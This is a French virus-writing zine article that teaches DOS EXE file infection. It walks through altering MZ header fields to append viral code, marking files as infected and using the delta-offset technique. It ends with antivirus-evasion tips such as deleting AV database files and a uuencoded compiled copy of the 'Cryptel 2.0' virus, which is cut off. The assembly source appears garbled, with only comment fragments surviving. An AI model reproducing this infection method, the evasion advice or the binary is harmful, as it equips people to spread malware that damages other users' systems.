: ... . . ... : .: : ......:.. ..:...... : :. :..: : :.:...... . _______ . ......:.: : :..: ...: : .\ . \ : :... : : _____ | |. |_____ _____ : : : ___ ___( _. \_ || _ ( _ \_ ( __/__ ____ __ : : o | /_ _. \| /_ || /_ /._ _/_ /__. /_ || | _ : ___ : ____ _\|___l__\| | l || l__|/ l__ \| l____||__||_|, ____ : ___ : `--`----'|| . `-----' `-----' : : | || | : : · dz\a! · | |· | m a n d r a g o r e ! : : |_______/ : ___ : _________________________________________________________________ : ___ : : : : : : :..........: :..........: IntroC'est partit pour un deuxieme article. Je vais essayer de tenir compte des (quelques) commentaires que j'ai eu sur le premier article. On reste dans le bon esprit; celui de la creation, non de la destruction. On va aller un peu plus vite maintenant, et passer à l'infection d'exe dos. Je pense que maintenant vous avez les outils, ce sont les m^me que pour les .com du premier article (tasm/tlink/soft-ice/hiew/...). D'ailleurs je ne reviendrai pas sur les notions de base de cet article. Vif du sujet
Un exe est consistué de plusieurs parties :
- le code - les overlays Ce que nous voulons, c'est rajouter du code a la fin. Il faut donc rediriger le pointeur de debut du code vers le notre et changer les infos relatives à la taille du fichier dans le header. J'ai marqué d'un * les champs a changer dans le header. Pour comprendre l'exe, il faut penser comme l'exe. Pour cela, il faut savoir ce k'il se passe quand on l'execute : le dos alloue une partie de la memoire pour le loger. Disons que c'est au segment 800. CS:IP va pointer à 810h+header[16]:header[14], et SS:SP à 810h+header[0eh]]:header[10h]. DS et ES valent 800h. Les autres registres sont plus aléatoire... Notre action va etre de changer les valeurs dans le header pour pointer vers notre code et ensuite revenir au code de l'hote. Il faut aussi changer l'adresse de la pile pour nos propres besoins. Finalement, il faut informer le header du changement de taille, sinon l'integrite n'est pas respectée. L'emplacement du check_sum dans le header nous servira ici a mettre la marque de l'infection pour eviter de reinfecter. Il faudra aussi re-utiliser la technique du delta offset.
Tout de suite, quelque precautions:
- tester si il y a des overlays. (si c'est le cas il vaut mieux aborter) - tester si c'est un .com deguisé. La meilleure explication est, je pense, un source detaillé. les commentaires un peu long (notés #x) sont apres pour plus de clarté. CommentCryptel 2.0 : mandragore'z code. rip, study, have fun with.* .model tiny .code .386 bptr equ #1: le processeur possede un cache ou il met d'avance les prochaines instruction. un jmp $+2 lui fait rafraichir, et ainsi il tient compte des modifs 'on the fly'. Les nouveaux processeurs n'ont pas le m^me systeme, mais mieux vaut etre compatible a 100 % #2: les instructions suivantes modifient l'emplacement de la pile. si jamais le dos lance une interruption a ce moment là, c'est le crash. cli lui dit k'il ne peut pas, et sti le re-autorise.
Ze end
Comme l'autre, ce virus est facilement detectable car je l'ai fais le plus
simple possible. Voici ce que vous pouvez faire de simple pour l'ameliorer :
- pareil pour la comparaison 'MZ' / 'ZM' - deguiser la routine du delta offset - utiliser du code moins standard pour les interruptions fichier - renommer l'exe qu'on infecte pour qu'un eventuel antivirus en memoire ne detecte rien, l'infecter, et le renommer en .exe - enlever dans le repertoire les fichiers de database anti-virus (anti-vir.dat, chklst.cps, etc, etc...) Ceci le rendra deja moins detectable sans se creuser le neurone... Mon prochain article (s'il y en a un), portera sur l'un des sujets suivants: les techniques avancées, les residents memoires ou l'infection d'exe win32. Pour des choses plus avancées tt de suite, lisez le zine de mon ex-group DDT à www.multimania.com/mdrg/ddt-1.zip Ecrivez moi, ou ecrivez a cryptel, pour influencer le choix du prochain sujet ou si vous voulez des complements d'information, et blabla et blabla.....
APPENDIXDescription du header: offset de depart description 0 'MZ' ou 'ZM' (si c'est bien un EXE) 2 * reste de la division V 4 * taille du fichier / 512 6 nombre de relocation a la fin du header 8 taille du header / 20 0a taille minimum de memoire requise (pas tjs utilisé) 0c taille maximum utilisé (rarement utilisé) 0e * SS / 16 (stack segment) 10 * SP (stack pointer) 12 ? checksum (inutile, donc utile pour nous) 14 * point d'entrée du proggy (IP) 16 * CS / 16 (code segment) 18 adresse de la premiere relocation 1A taille des overlays hiew decortique tres bien les headers si vous avez du mal au debut... (mode hexa / F8) version deja compilee et marquée comme infectée. begin 644 CRYPT2.EXE M35JO`0(````@``$`__\`````K=X`````/@````$`^S!J<@`````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````.'^@``%V![04`C,P1"+AFH!`\&)AF``BX9L M`8F&7@"+AFX!`\&)AE8`BX9P`8F&6@"T&HV6.@'-(;1.,\F-EC0!S2%R">@8 M`+1/S2%S]P8?ZP#Z:#02%[P``/OJ``#P_XV66`&X`CW-(0^"J`"3M#^Y'`"- MEA@!B_+-(;E-6CD,=`B&S3D,#X6'`(!\&$`/A'\`@WP:`'5Y@7P2K=YT |